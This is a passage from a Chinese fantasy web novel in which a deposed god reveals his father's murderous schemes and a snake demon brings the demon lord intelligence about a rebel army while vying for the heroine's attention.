“但后来,我突然在我的剑匣里找到了一枚玉佩,我不知道这枚玉佩是什么时候放进来的……不,应该说它是什么时候放回来的。在见到它的那一刻,我什么都想起来了。” “那是母亲给我的玉佩,我怎么能忘记她,我怎么能不恨那畜生!” 神界有两大家族,一个是神家,另一个就是神思渺母亲那边的凤家。 当年神若凡和凤启芸堪称神界的天作之合,两人情深意重又门当户对,实在是羡煞旁人。而他们的家族地位也因为强强联合而更加稳固,几乎掌控着整个神界。 神思渺小的时候一直认为父母感情深厚琴瑟和鸣,却没想到在他成年之际,父亲竟为了夺权故意杀害母亲,又将母亲娘家那边的人一网打尽,将凤家的家族法宝取为己用,只为能更好巩固他神家在神界至高无上的唯一地位。 什么相濡以沫相敬如宾,通通都是假的。 而且神若凡伪装的极好且出手狠辣,不到一日就将这场杀妻灭凤事变全然平息,压下所有风波不让外人知晓。 称发妻病故还算他有良心,可他竟对外宣称凤启芸是中毒身亡,还趁机将罪名安在了蠢蠢欲动的第三家族身上,把他们崛起的势头狠狠摁了下去,就此没了动静。 这一箭双雕之计用的实在是妙,为此他还稳稳收获了“发妻亡故不再娶”的深情人设,赚足了在神界的威望和神女们的好感,助他将各家势力牢牢捏在手中。 在父亲忽然变脸发动讨伐之前,神思渺从来都没有察觉到父母的离心。 大概是母亲不愿他从小生长在利益漩涡中,她与神若凡默契约定在孩子懂事前都要保持表面的恩爱,不让孩子担心。 神思渺与母亲更亲近,曾经还问过母亲他为什么要取思渺这个名,听起来像是在思念某人。 凤启芸温柔笑了笑,这才告诉神思渺其实在他出生之前,他还有过一个姐姐名叫神安渺,希望她安于渺小,快乐平安长大。 可惜不如人意,神安渺出生三个月便夭折了,母亲大为伤心哭了七天七夜,自那之后便落下了病根身体孱弱,一直靠喝药维持精神,不复从前的英姿飒爽。 想当年,凤启芸也是个爱舞刀弄枪的战神,成婚之后这才被困在了神殿之中。 神思渺也是很后来才知道姐姐的夭折和母亲的病弱,都是那个畜牲一手造成的。 只因为凤家以女为尊,神安渺的出生意味着凤家后继有人,不利于他谋夺凤家。 而且凤启芸神力极强,她的存在对神若凡来说意味着无穷无尽的麻烦。 杀了神安渺,趁机毒病凤启芸,布局多年后最后一举收网,将一切收入囊中。 这男人心机有多深沉,神思渺总算是见识到了。 因玉佩的出现从而恢复记忆之后,他继续保持用温润的面具伪装自己,慢慢查证搜集神若凡虚伪的证据。 他还联系上了凤家的残留势力,将他们妥善安排,隐姓埋名重新渗透到各大家族当中,找寻机会为母亲报仇。 那枚失而复得的玉佩就是凤家家仆偷偷塞过来,好让公子恢复清醒,为凤家主持公道。 顺藤摸瓜中,他逐渐找到了更大的阴谋,原来仙冥妖三界勾搭起来制“怪”的事也是神界授意的。 神界居心叵测,妄想跨过天地规则自己当创世者,他们联手试验造出新物种,打算再创一界,以这些“怪”作为一界生物进行填充。 也是那时,他曾见过血冥一面,还悄悄助血冥逃离可怕的魔窟。 只可惜当他发现这一惊天阴谋之后,他的生父也趁机对他下手了。 但神思渺并没有束手就擒,他利用这些年的韬光养晦硬是在神界培养出了属于他的话语权,在关键时刻与神若凡相抗衡。 最终哪怕神若凡再想杀他,也不得不迫于压力妥协,只将神思渺逼出了神殿贬到仙界,又用谪云宗宗主的身份制衡他,还让大长老监视着他的一举一动。 但神思渺仍未放弃,又过了许久,机缘巧合之下他与血冥重逢,约定拯救天下。 再后来,就如云宛白所知道的那样,妖冥两界被血冥所灭。 其实光靠血冥一人根本无法捣毁这邪恶的计划,正因为暗中有仙界神思渺相助,一切才能如此顺利。 而这份功劳,都被神思渺安在了血冥头上。 他们之间不分彼此,只要能实现目标,谁在明谁在暗都不会计较。 回忆到这里,也算把之前的前因后果都讲清楚了。 “前段时间,趁着为你寻鸿山草的机会,我偷偷回了一趟神界,托我母亲家的世仆三长老帮我。” “只是我刚出现在三爷爷面前,他就大惊失色赶紧把我藏起来,又让我尽快离开。” “从他口中我才真正确认,对你下手并把你绑到妖界的幕后之主,就是神若凡。” 神思渺查到,仙恩堂的存在比他预想中出现的还要早,已在魔界潜伏多年。 虽然没有查出神思渺和血冥之间的关系,但调查处魔尊的软肋冰棘豹还是轻而易举的。 神若凡想的很随意,他动用魔耳堂堂主巳镜出手,用冰棘豹引诱魔尊上钩,假如侥幸得手,那就能不费一兵一卒干掉他在魔界最大的阻碍,直接接手一界之势。 若是失败,左右损失的不过是一个魔界的小喽啰,没有任何损失。 呵,这个男人还没把神界祸害够,居然又把毒手伸向了他的挚友。 新仇旧恨,神思渺如何能忍? 注意到好兄弟的情绪起伏有点大,血冥不由得出声安慰神思渺。 其实据他所知,神界还是有不少神仍存神性,没有向欲望妥协。他们无欲无求,只想专心掌握天道,对所谓的争斗完全不在意。 但奈何有些人除了追求真理之外,还想将全天下归在自己手中,掌握生杀大权,想当真正的“神”,与神若凡不谋而合。 这些心思浮动之人需要强而猛烈的打击,让他们歇下不切实际的心思。至于剩下的那些散神,也缺一个真正的统治者将他们的力量拧成一股绳,带领他们走向正道。 而不是被神若凡蛊惑着,在有违天道的路上越走越远,成为邪神。 综上,血冥认为神思渺最合适。 虽然他平常总说着要让魔界统一天下,但他心中希望的,除了和神思渺一起共治,真正的还是让神思渺来到台前,成为真正的统治者。 这个位置,他远比自己更合适。 只不过一统天下的道路实在凶险,无论最终留下的是谁,只要能够胜利,他们付出任何代价都心甘情愿。 这是他们共同的愿景。 云宛白被大量的信息冲击到呆滞。她当时看的原著小说完全就是一个披着剧情线的小甜饼,根本没有讲的这么深。 可身临其境后她才发现,原来每个人的故事线都这么的复杂,每个人性格变化的背后都有着合理的成因。 如果说这是一本通篇谈恋爱的小说反而狭义了,家国情怀才是这个世界真正的主旋律。 所以,亲爱的作者大大啊,原著《穿成神君的小白喵》是怎么能写成无脑小甜文的,背后的故事线都不挖一挖的吗!!! 原男主神思渺也是真的惨,从头到尾都被利用。被他爹利用到离开神界也就算了,好不容 易重新敞开心扉却又被陶灿灿利用。 难怪他ptsd了,开始走上了封心锁爱的不归路。 “你说的这些我都知道,”神思渺拍了拍血冥的肩膀,对兄弟的安慰很是受用,“你放心,我们都不会死,死的只会是神若凡。” 说了太多沉重的话题,他现在只想说些八卦来放松一下。 当然了,这对他来说也是日常的脱敏训练。 “还记得我说过我曾搜过陶灿灿的魂吗?” 血冥和云宛白同步点头。 “在她的记忆当中,我发现了一个很有趣的事,我的一位亲传弟子竟也被她勾的神魂颠倒。” “所以我猜,她的出逃大概率是我前弟子还有冥界旧皇子和那只狼狗有关。” “是我眼拙,没被她迷的神魂颠倒六亲不认,要不然还统一什么天下,成为她的裙下臣追着跑就行了,多简单。” 这样的地狱笑话,云宛白和血冥可万万不敢出声。 就在大殿内的氛围陷入莫名的尴尬之时,被列入信任名单的宿庚小心翼翼地叩门,禀告道: “尊主,居士,打扰了。” “殿门外有妖求见,声称是豹儿的朋友。” 第67章 第67章来者何人?竟要对乖乖以…… 乖乖的朋友? 血冥狐疑:“青云来了?” 但他刚一问出口就觉得不对劲,宿庚又不是不认识青云。 “不是,是一只蛇妖。”宿庚摇头。 “既然不是青云,那便是拿乖乖朋友当幌子的骗子,轰出去就是了。”血冥摆手,倒也没打算对这个不速之客进行惩罚。 毕竟乖乖伤好刚愈,他也不想大动干戈,扫了大家的兴致。 正当这个小插曲即将落下尾声时,云宛白突然开口。 “等等,没准真的是我的朋友。” 血冥疑惑地看向她,却见云宛白兴奋地从自己怀中跳下,跑到宿庚面前蹦蹦跳跳:“爷爷,我应该知道是谁了,你快带我去见它!” “这……”宿庚一脸难办,抬头看向尊主。 血冥不知道为什么,他的内心忽然涌起了一股莫名的危机感。 乖乖的所有关系网都在他的掌控之中,眼下却突然冒出来了一个他并不知情的所谓朋友,这让血冥很是不爽。 “什么猫猫狗狗跑上门自称是你朋友,你就都要见吗?”血冥少见地冷下了语气,面色不虞。 万一有贼人借着这个幌子骗乖乖见面,乖乖不就轻易上当了? 在外闯荡历练的那些天,她怎么一点都没有警惕心。 “不见。”血冥挥手。 “别呀,万一真的是我朋友,人家大老远跑过来被拒之门外,多不好意思啊。”云宛白扒着他的手一顿晃,试图扭转血冥的想法。 “是朋友又如何?大老远找上门来,难不成就只为了叙旧吗?一定是别有所图。”神思渺也不同意。 宿庚望着云宛白可怜巴巴的小眼神,顿时纠结极了。 但尊主的话宿庚不能不听,他叹了一口气,鞠躬抱拳:“属下这就去说。” 然而刚出去没多久,宿庚又气喘吁吁地跑了回来:“禀……禀告!那蛇妖说,他知道什么白猫妖的下落!” 话音刚落,神思渺腾的一下站了起来,立马扭头看向血冥,与他迅速交换了个眼神。 白猫妖,陶灿灿。 对方如此笃定的用这个消息再次来传信,想必指的一定就是她! 但是一个蛇妖怎么会知道陶灿灿的下落。 以及,它为什么会觉得要把这个消息告诉魔尊告诉冰棘豹,就能成为入殿的筹码? 关于仙界和魔尊之间的关系,它到底了解多少? 神思渺急切地转身看向血冥,眸色凌厉:“血冥,必须要见见它。” 血冥皱眉,他看了看神思渺,又看了看眼巴巴的云宛白,最终无奈点头。 反正有他和神思渺在,应该出不了什么大问题。 “那便召他进来。” “是。” 没过多久,宿庚便带着一名绝色男子走了进来,而那名男子一进殿内之后,目光便迅速锁定在云宛白身上,热情地冲她微笑招手:“宛白!” 他完全无视了其他人的存在,眼中只有云宛白。 云宛白还有些发懵呢,眼前这个大帅哥是谁?她不认识啊。 能够忍到现在已经快到血冥的极限了,他忍不住握紧了拳头,眼神如一道锋利冰冷的光芒向那男子刺去,随后又露出受伤的神情看向他的乖乖。 你什么时候认识的野男人,我怎么一点都不知情。 云宛白更是无辜,她盯着血冥疯狂摇头,表明自己并不认识这家伙。 她是有一个蛇妖朋友不假,但长得完全不是这个样子啊。 “我啊,荼玉,你不记得我了吗?” 见云宛白并没有认出自己,荼玉泫然欲泣楚楚可怜:“你可是我的救命恩人,我是来报恩的,你怎么能这么快就把我给忘了。” 霎时间,云宛白瞳孔瞪大,头皮发麻。 等等,荼玉? 嘶——我那雌雄莫辨的美丽蛇妖朋友,你最终化形的性别真选择变成了男人?! “荼玉!?你没跟我开玩笑吧,你真当男人了呀?” 云宛白秒奔了过去,跟看什么稀罕事一样的上下打量荼玉,紧接着她自己也化为了人形,对他伸出了大拇指: “你这就下定决心了?可以啊,你现在的样子比起之前中性风的模样,更添了一丝阳刚之气哎。就是可惜以后都叫不了你姐姐了。” 不得不说,云宛白的夸奖风格越来越向青云靠近,听不出到底是夸还是损。 不过荼玉的心理素质很强,他只点头微笑,完全没有反驳。 而且他的目标很明确,从头至尾把所有的注意力都放在了云宛白身上。 对他来说,他带来的劲爆消息只是附带的入场券而已,他并不打算用消息去换取身份上的转变。 他这样的态度很是鲜明,也很是少见。 而且从他眼中就能看出他是个非常淡漠的人,并没有给出对魔尊血冥以及伪装成淼思居士的神思渺应有的尊敬。 几乎只需要一个照面,血冥和神思渺就将荼玉的性格分析了出来,他们两人互相对视了一眼,表情都有些严肃。 照他们来看,这只蛇妖绝非善茬,表面笑嘻嘻的,背地里一定是极致的冷漠。 要是放任这样一个极其擅长伪装的家伙成为云宛白的朋友,一定是个大祸患。 “哎对了,你怎么想着要变成男人的?”云宛白好奇问道。 荼玉笑了笑,表情不由得变得有些魅惑:“我说了啊,我是来报恩的,只不过你养尊处优身份高贵,我也没什么能报答你的,就只能以身相许了。” 他的这句话在说出口之后,大殿瞬间变得格外安静。 云宛白默默后退了三步,神思渺和宿庚大气都不敢喘。唯有血冥顿了顿,像是刚刚消化完这令人难以置信的消息,狠狠拍桌:“轰出去!” “哎别别别,荼玉就这样,嘴欠的很,他没什么坏心思,就是被人间的话本子给看坏脑子了,冥冥你别跟他计较嘛。” 云宛白赶紧出来打圆场。 这次和荼玉的相聚要是放在私底下,对于以身报恩这种话,云宛白肯定就哈哈一笑打岔过去了,根本不会当真。 毕竟这种话荼玉之前也不是没有说过,自己救了他一命是不假,而他找不到能报答的方式就只能这么说,这都很合理。 可听到乖乖这么护着这只蛇妖,血冥更是气不打一处来。 没想到这才多久的功夫,乖乖竟然都学的胳膊肘往外拐了! 这只蛇妖分明就是利用乖乖的善心去达成他的目的,实在是用心叵测。 只不过当父亲的不能草率的替乖乖结束这段友谊,他得照顾到乖乖的情绪。 血冥只好强行压下怒火,问起云宛白和荼玉到底是怎么认识的,他现在迫切想要知道这段所谓友谊的来历。 以及除了这个朋友之外,乖乖在成年历练的过程当中,到底还有没有交过其他的朋友。 荼玉的眼神轻飘飘地看向了云宛白口中的魔尊血冥。 冥冥…… 果真亲昵。 荼玉不着痕迹地收回了视线,继续维持着他的笑容。 虽然不知道血冥到底在气些什么,但云宛白还是笼统地讲述了一遍。 只是巧的是,这一路上她还真就只交了荼玉这么一个朋友。 这 句话听的荼玉心花怒放,嘴角勾起的弧度忍不住更上扬了几分。 “哦对了,你让我采的幽冥之花我还没采呢,那我的成年历练是不是不算完成,我要重新再走一遍吗?” 云宛白忽然想到了这个问题,脱口而出问道。 “那倒也不必……”血冥只觉得满头黑线,“当时也只是想让你出去躲躲,避开风头。” 这要是再让乖乖去上那么一趟,会不会又拐回三五个莫名其妙的朋友? 不可。 眼见着话题越来越歪,神思渺实在是忍不住了,他插了一句嘴,紧紧盯着荼玉:“我知道你是带着诚意上门的,别的事暂且不谈,你先说说白色猫妖的事。” 他还真怕血冥一时气急就把荼玉给轰出去,那样的话,关于陶灿灿的消息可就成了到嘴的鸭子——飞走了。 咱们有什么仇有什么怨,大可以等情报分享完之后再说。 从神思渺的语气中听出了警告,被乖乖的异性朋友激得有点失态的血冥,这才深深吸了一口气又缓缓吐出。 云宛白感激地看了一眼出声相救的神思渺,连忙把荼玉引到座位上:“你怎么知道白色猫妖的,快说说吧。” 荼玉点头,从容坐下,眼神一直都黏在云宛白身上。 只不过他的目光中并没有任何的侵占性,单纯只是视线的温柔追随,并不会让云宛白觉得不舒服。 至于在其他人眼中是个什么样子,他可管不着。 这些情报他本来也打算讲给云宛白听的,至于多了两三个人旁听,对他来说不是什么问题。 至于能换到进入魔殿的机会,倒也值当的很。 “一切都要从我跟你分别之后开始说起,还记得我告诉过你,我要去投奔我的发小妖狼王狼亘吗?”荼玉谈道。 狼亘这名字一出,神思渺的表情就不淡然了,瞬间捏紧拳头,表情有些凶狠。 血冥注意到了神思渺的反应,很快就联想到这个妖狼王很有可能就是神思渺口中那个被陶灿灿收入囊中的小狼狗。 没想到兜兜转转,这所有的人物竟都串上了。 世界可真小啊。 “我记得,你说你要去妖界的西南角帝绝海一趟,加入什么妖军来着。”云宛白摸了摸下巴回忆道。 “对,我要加入的正是那里的未绝妖军,当时狼亘告诉我,他请来了一位叛离仙界的军师坐镇大军,欲攻打仙界魔界报仇雪恨。” “后来我才了解到,这所谓的军师竟然就是仙界谪云宗宗主神思渺座下、御兽司前司主的白猫,陶灿灿。” 神思渺快要坐不住了,他用力地抿唇,偏过头垂眸,大脑正在飞速处理荼玉放出来的这些消息。 大概是这段时间,他所有的注意力都放在了跟神若凡的斗智斗勇上,从而疏忽了对妖界风向的把控。 无论是帝绝海还是未绝妖军,要不是荼玉送上门来,这些消息他竟完全不知情。 想到这,他不由的吓出了一身冷汗。 难以想象要是放任这所谓的大军继续发展下去,会不会影响到他跟血冥一统天下的计划。 不过陶灿灿为什么要攻打仙界魔界,但凡只攻打其一他都能理解,可同时攻打……这就有些耐人寻味了。 “哎不对,荼玉,你怎么对陶灿灿知道的这么清楚?”云宛白瞬间找到了漏洞。 一只安居于妖界的小蛇妖,按理来说无依无靠的,怎么可能在短短时间里就调查出陶灿灿的所有头衔身份。 这不合理啊。 就算发小是狼亘,不至于蠢到什么底细都跟前来投奔的荼玉说吧? 第68章 第68章茶茶的荼玉,气气的血冥…… 要是陶灿灿自己说的,那更说不通啊。 会有人蠢到什么底细都告诉一只刚加入大军的妖吗? “这些都是陶灿灿她自己告诉我的。”荼玉说道。 什么,还真是?! 不仅云宛白大跌眼镜,血冥和神思渺都不太理解。 荼玉很快就将前因后果解释了出来。 “当时在去帝绝海的途中,为了方便,我抉择了性别,当然了,也是为了日后好以身相许。” 适时,他向云宛白投去了一个眼神,不过很快就被血冥挡住,冷哼了一声。 云宛白没好气地对荼玉摆手:“赶紧说正事。” 荼玉颔首,完全没有被无视表达感情的伤感,依旧浅笑着: “我是狼亘的发小,到了地方之后自然是他亲自出门迎接我。” “这些年我一直苦修,实力放在整个大军中都不算差,所以给我安排的岗位也相对重要一些。再加上他对我很信任也很器重,便直接引荐到了那位军师面前。” “大概是我的皮囊还算不错,那位军师,也就是陶灿灿,她对我的态度格外亲昵。” 在说这段话的时候,荼玉的语气很是稀疏平常,似乎早已习惯了因外貌而备受关注。 不过他谈及这件事的语气并不自满也不苦恼,一切都淡淡的,像个局外人一样。 “她与我促膝长谈,又与我诚心交底,我能看出她想用这样的路数令我放松警惕,至于她到底是什么样的目的,我并不在意。” “不过我也不打算如她心意,就一直装作不懂变通的妖,后来被她带在身边熟悉军中事物。” “那时候狼亘被陶灿灿支出去处理事情了,没想到狼亘提前回来,正好撞见陶灿灿对我示好。” “虽然她表现的比较文雅,想按我的性格针对性的用才情令我动容,但她是狼亘喜欢的女人,我怎么可能会对她有其他的心思。” “而且围在她身边的男人已经够多了,她要这么多人干什么?” 荼玉皱眉,露出了不太赞同的神情。但这个表情转瞬即逝,很快他又变回了古井无波的荼玉。 他继续讲述: “不过,我只是过去讨生活的,既然她不打算动粗,只用含蓄隐晦的方法暗示我,那么我装作不懂就好,军中的饷钱我照拿不误。” 但接下来,狼亘对荼玉的存在慢慢开始有了不满。 在狼亘看来,他才是陶灿灿的正宫,若不是实力和地位上的悬殊,他甚至想踹掉其他的男人当陶灿灿的唯一。 “狼亘醋性很大,目前有的这几个男人已经够他头疼的了,他不想再多一个竞争对手。也正因为是发小,所以他直白地告诉我希望我能离开。” 军中多一个荼玉少一个荼玉,其实并不会产生太大的影响。 而且在军中,狼亘是出了名的凶狠,以往要想解决像荼玉这种没什么身份地位又横空出现的雄性,他会直接杀了了事。 但对于妖中同类,尤其是荼玉这个与他相识多年的发小,他还是相对仁慈的。 只是这件事很快就被陶灿灿知道了,陶灿灿一力保下了荼玉,不允许荼玉离开,还和狼亘发了一大通脾气。 狼亘又委屈又生气,但他一向以陶灿灿为重,只要灿灿发话了,他从不会忤逆。 荼玉毕竟是他兄弟,再加上荼玉本人对灿灿根本没那个心思,对他来说完全是无妄之灾。 那自己要是把气撒到发小身上,也着实说不过去。 万般无奈之下,荼玉还是被留在了未绝妖军,不过他从陶灿灿口中得知的消息也变的更多了。 荼玉完全没藏私,把他知道的信息都说了出来。 “听陶灿灿说,她不仅跟仙界有来往,最近好像还和神界搭上了关系。” “而且自那之后,她将零散势力聚集起来吸纳到未绝妖军的速度快上了很多,进来的人实力也强上了不少。” “哦对,还有仙恩堂。” “只不过仙恩堂并没有并入未绝妖军,但两者已然有了合作关系。” “据陶灿灿所说,她打算先把魔界扳倒,再对负了她的仙界动手。不知道这个策略的变更背后是不是有神界意志的插手。” 血冥和神思渺对视了一眼,神情极其凝重。 他们万万没想到,荼玉带来的消息竟如此重大,直接关系到他们一统天下计划的成败。 如果说荼玉没有撒谎,那么接下来他们要面对的状况将无比棘手。 然而荼玉的分享并没有到此结束,这段时间的潜伏令他掌握了大量的消息。 “陶灿灿确实是一个很有人格魅力的军师,比起大军主将狼亘,陶灿灿在军中的民心更旺,威望也极高。” “也就是说,除了对裙下之臣的把握之外,她的御下之术也非常老练。”” 她对待下属极其大方,从不克扣饷钱。只要大家认真训练或者接了一些额外的任务,等到他们外出归来,都会再得到一大笔非常可观的赏金。” “大家加入未绝妖军就是冲着钱去的,而招揽他们入军时的承诺成了现实,再加上陶灿灿确实表现出了对他们物质上的大方又给出了精神上的抚慰,因此她在军中拥有着说一不二至高无上的地位,得到了绝大多数士兵们的拥护。” 讲到这里,荼玉顿了顿,他不知道自己要不要再说些额外的话。 “荼玉,你是还有什么想要告诉我们的?你放心大胆的说呗。” 云宛白洞察了他的犹豫,尽管他这副表情在其他人看来根本没有任何异常。 有了云宛白的支持,荼玉浅笑,点了点头: “接下来要说的是我的推测,我并没有证实过,但这些信息都是我从陶灿灿那里套出来的,可信度应该也有一些,你们可以随便听听。” “按理来说,能组成这么大的一个军队,开销必然吃紧。” “狼亘的钱财再加上陶灿灿和她男人们的财宝,根本凑不出能分发给士兵们的饷钱。” “而且在我刚加入军中的时候,每月分发的数额不高不低,还属正常。但自从陶灿灿告诉我她和神界展开合作之后,她手头一下子就阔绰起来了。” “我想,这笔来源不明的饷钱大概就是神界对她的支持,毕竟未绝妖军时不时会和仙恩堂联手,出去执行一些关于情报收集的任务。” “收集情报对大军无用,但应该给神界帮上了很大的忙。我听陶灿灿的一位冥界面首无意间透露,魔尊血冥似乎就被他们成功使了绊子。” 确实,血冥就是在叛变的巳镜身上栽了跟头。 荼玉提到,未绝妖军的规模已经不容小觑,只是随着人手的增加,人员的构成也变得更加复杂,除了妖界的,更有冥界魔界仙界的。 因此在管理上也变的渐渐混乱了起来。 再加上与神界有了关系,那么未绝妖军不成体系的人员构成问题就成了一个需要立马改进的必然结果。 他们现在不再注重“量”,而更在乎“质”,要将未绝妖军凝练成一支真正成体系的大军。 不仅筛选出强者,更要留下真正忠心的人。 “我去那里只是为了饷钱,从来都没想过要一直留下,更别说付出什么忠心了。” “所以从那个时候,我就想着要离开。” 荼玉很聪明,他利用了妖界同族对他的不了解,也利用了蛇族通用的毛病。 他故作无意之间向狼亘和陶灿灿的几个男人们面前,展现出了他在武力上致命的一点。 那就是荼玉一旦进入蜕皮期,他的身体就会变得极为虚弱。 而他的种族特性又让他不得不在每月十五的月圆之夜经历一次蜕皮。 蛇族的蜕皮期不可能如此频繁,但因为他隶属朦陀蛇族,这一蛇族起源悠久,属于古老妖族一脉。 : 虽然从传承血脉上来讲会更加纯粹,但作为古族,娇气的毛病也会更多。 而这一族早就只剩下了他一条朦陀蛇,而且他也隐世多年,别的蛇族压根不了解他这一脉的特性状况,自然没人能戳穿他的谎言。 神界的掣肘再加上男人之间的明争暗斗非常管用,既然他在武力上出现了致命缺陷,哪怕陶灿灿再不舍,为了大局,她也必须要忍痛割爱,甚至还得带头驱赶荼玉以表决心。 虽然陶灿灿在私底下对荼玉承诺,待大业完成后她会亲自去请他回来,让荼玉不要难过,还给了他巨额的盘缠。 但荼玉本就打算离开,他只把陶灿灿的话当做耳旁风,毫不心虚地接过了赏钱准备离开,好去魔界找他的朋友云宛白。 只不过就在他临走之前,他还听到陶灿灿这几个男人们之间发生了争执。 大抵是各自为营明争暗斗,争夺在陶灿灿心目中第一的宝座。 别的不清楚,但这几个人只要不齐心,就一定会给陶灿灿埋下无穷的隐患。 因爱生恨这种事,荼玉可见过不少。 不过陶灿灿对他而言没有什么意义,这些忠告他自然不会去说出口。 他想要分享的消息讲到这就结束了,但血冥和神思渺的心情仍然久久不能平静。 云宛白也深深叹了一口气。 你说这事儿闹的,看来这天下真的是要不太平了。 不,已经不太平了。 许久,还是血冥打破了这片寂静,他对荼玉的态度好了一些:“你带来的消息很有用,不管怎么样,在这点上……谢过了。” 一码归一码。 他血冥也不是什么锱铢计较的人。相信像荼玉这么聪明的蛇妖应该会懂。 荼玉自然明白,他也知道宛白和血冥的关系非比寻常。 要想离宛白更进一步,血冥就是他一个始终绕不过去的坎。 荼玉坦荡抬头:“口说无凭,我愿将记忆共享以证虚实。” 在他的坚持之下,荼玉将他的血祭出一分为三,又用古族秘法与大殿上的三人相牵引,从而共享记忆。 神思渺知道有些妖族掌握着不少失传的秘法,真实性可以保障。 而且荼玉很有分寸,他主动发起共享以他的血相祭,任何后遗症只会影响到荼玉自己,并不会对大殿上的另外三人产生任何的不利。 在诚意方面,他做的十足。 只不过,荼玉的记忆似乎放的有些早了,他是从与熊妖大战时开始放起的,他的记忆中自然出现了云宛白的身影。 被共享画面的三人自然看到了云宛白与他合作时的场景,更以荼玉视角体会到了他当时以及之后的全部心境。 是无味的世界有了香。 是黑暗的视角有了光。 他的动心,他的追随。 包括他化形时义无反顾的抉择,在未绝军中的坚定念想。 甚至陶灿灿在他耳边诉说钟情的时候,他脑海里想的仍是用饷钱给云宛白带什么样的礼物更好。 神思渺本来看的还算津津有味,但他忽然间想到了什么,有了一种不太妙的预感。 他偷偷撇过头,只见血冥的眼眸幽深晦涩,脸黑的都快滴下墨水了。 这记忆。 这荼玉。 嗯,绝对是故意的。 第69章 第69章人生一大错觉就是他喜欢…… 是故意的又怎么样。 荼玉的眼神轻飘飘地掠过血冥,随后又转回到了云宛白身上, 直到所有的记忆都播放完毕,荼玉才把目光投向血冥,义正言辞地向他表明自己此次前来就是为了报恩,想要跟在云宛白的身边,还望魔尊成全。 他眼中没有任何情绪,连对血冥的敬畏也找不出半分,当真是一条冷血的毒蛇,让人猜不透。 而这样无理的要求,血冥只有疯了才会答应他。 “如果我不成全呢?” 血冥就是很不高兴。 对于二人出生入死的共同经历,他心中满是芥蒂。 尤其看到这条蛇妖对自家乖乖含情脉脉的眼神后更是百般不爽,并且直接将情绪挂在了脸上。 而且抛开其他的不谈,荼玉这只妖很奇怪。 说他不懂人情,可他偏偏拿出了极为宝贵的情报作为诚意。 说他懂礼数,可他却对本尊的存在视而不见甚至极为冒犯。 我家乖乖心善,当时是见你处于弱势才出手相助,可你却趁势赖上了她。 这种心思 ,我怎么可能让你如愿? 场面又又又一次陷入到了极致的寂静当中,这回就连神思渺也不敢开口,只是用眼神来回扫视着,还看向云宛白示意她赶紧开口破局。 被架在火堆中央烤的滋味真不好受。作为这场修罗战争中的女主人公,云宛白忍不住摸了摸鼻子,表情尴尬。 同样是穿书而来,她还从来没有体验过看几个男人争风吃醋的女主角待遇。 今天头一回遇上,真让她有些不知所措。 云宛白几次都想要开口,但总觉得措辞不合适,只好又紧急闭麦。 虽然眼下的情形用“争风吃醋”这四个字不太恰当,但这种焦灼的氛围实在令人坐立难安。 她甚至有点想向陶灿灿取取经,到底该怎么将事态平息,不至于演变的愈发愈烈? 说实在的,云宛白敢发誓,她对荼玉真的没有那方面的意思,顶多是共患难的好友,压根没想着“再见”。 荼玉想报恩她不拦着,但以身相许这种事情完全就是时代的陋习,根本没这个必要。 而且血冥生气的样子也令她如芒在背如鲠在喉,就好像她是个负心汉一样。 艰难地吞了口唾沫,云宛白觉得自己要是再不说些什么的话,她就要先一步地被憋死了。 首先,她得亮明她的态度,哄一哄旁边那个被低气压笼罩的男人。 “那个,荼玉啊,你的消息我们已经验证了,是真的。” “你给我们分享的情报非常有用,这点是要感谢你的。” 云宛白战战兢兢地开口,视线不停地在血冥和神思渺中来回扫视,试图想要获得他们的眼神肯定,来增加自己说话的底气。 只可惜没人理她,她只能继续自己发挥。 “但当时救你,其实就是我的随手之劳,锄强扶弱而已,就算是历练途中给自己攒的功德嘛,你不用太放在心上。” “而且报恩有很多种方式的,我不需要什么人跟在我身边,而且我自己都得跟在冥冥身边呢,以身相许大可不必。” 云宛白也算是服了荼玉了,也不知道这家伙到底吃了什么毒蘑菇,一点儿都没有眼力见地跑来这儿抱大腿。 我的大腿那还不是靠抱血冥大腿得来的吗?结果你一上来就开口得罪人家血冥。 别忘了,这可是在外凶名远扬的大杀神魔尊啊,真不怕他一道黑刃过来削了你? 还有,明明在认识的时候都没这么坚定地提出要以身相许,最多也只是开玩笑地提了一嘴。 但现在来了魔界,态度又这么固执坚持,很难不让人怀疑其真实目的。 就算记忆共享查不出任何的问题,但作为异性,如此美好的革命情谊非拐到不太正经的方向上,总让云宛白觉得恨铁不成钢。 “我没别的心思,宛白你别误会。”荼玉连忙解释,又从怀里拿出了一枚玉佩捧在掌心。 “我当然不会只用以身相许这种空泛的话来作为对你出手相助之恩的报答。” “这是我用在军中得来的饷钱买的一枚琥磨玉佩,送你。” 荼玉直接走上前,把玉佩塞到了云宛白的怀中,态度不容拒绝。 琥磨玉佩在妖界算得上是一个稀罕物,价值不菲,即便有钱也很难买到,还得有点路数的门道才行。 很早之前宿庚也想买它来作为给乖乖的生辰之礼,只可惜他并非妖界中人,根本没有买它的资格。 神思渺也是识货的,他眼尖地看出了这枚琥磨玉佩的珍贵性,不由得挑了挑眉。 这蛇妖倒是舍得下功夫。 “我想告诉你的是,你对我的恩德和重要性,远远比你认为的要多得多。” “玉佩只是我给你的见面礼,你的恩情我之后定会用其他东西慢慢偿还,至于以身相许,也只是因为我想留在你的身边为你做更多力所能及的事,并没有想要用道义挟持你的意思。” 荼玉的眼神很真诚,唯有在望向云宛白的时候,他才卸下了所有的伪装,任由最柔软的自己手无寸铁的暴露在云宛白面前。 如果说这就是报恩的态度,那么他完全做到了满分还答完了附加题。 【血冥,别生气了,我有一个提议你要不要听一听?】 神思渺摸了摸自己假扮居士而安上的胡子,用密音传道。 血冥没吭声,一句话都不回,眼神仍死死盯着荼玉。 神思渺只好继续说道: 【听我一句劝,这种人你要是把他放出去了反而会更危险,还不如放在你的眼皮子底下好好看管起来,利用他的本事为我们的大业做出一番贡献,你说呢?】 神思渺言简意赅,三言两语便击中了血冥的点。 确实,堵不如疏。 万一今天将荼玉轰出去了,乖乖的善又心突然泛滥,没准还会瞒着自己把他给捡回去,那之后的事态可就完全不可控了。 “你想对乖乖报恩是吗?”血冥终于开口。 “当然。”在这个问话上荼玉答的很痛快。 “好,我这里倒是有个机会能让你帮上乖乖,比你在她身边无所事事当个废物要强得多。” “……是什么?”荼玉成功上钩。 血冥虚空掐诀,将咒传出了殿外,很快宿庚便匆匆赶了过来。 早在把荼玉接到大殿之后,宿庚就很有眼力见地及时退出大殿,还让负责值守的妖使们退出至安全距离,给尊主他们的谈话留出足够的隐私空间。 这份机灵劲儿是他众多优点当中最微不足道的一点。 “尊主,您叫我是有什么吩咐?”宿庚拱手行礼。 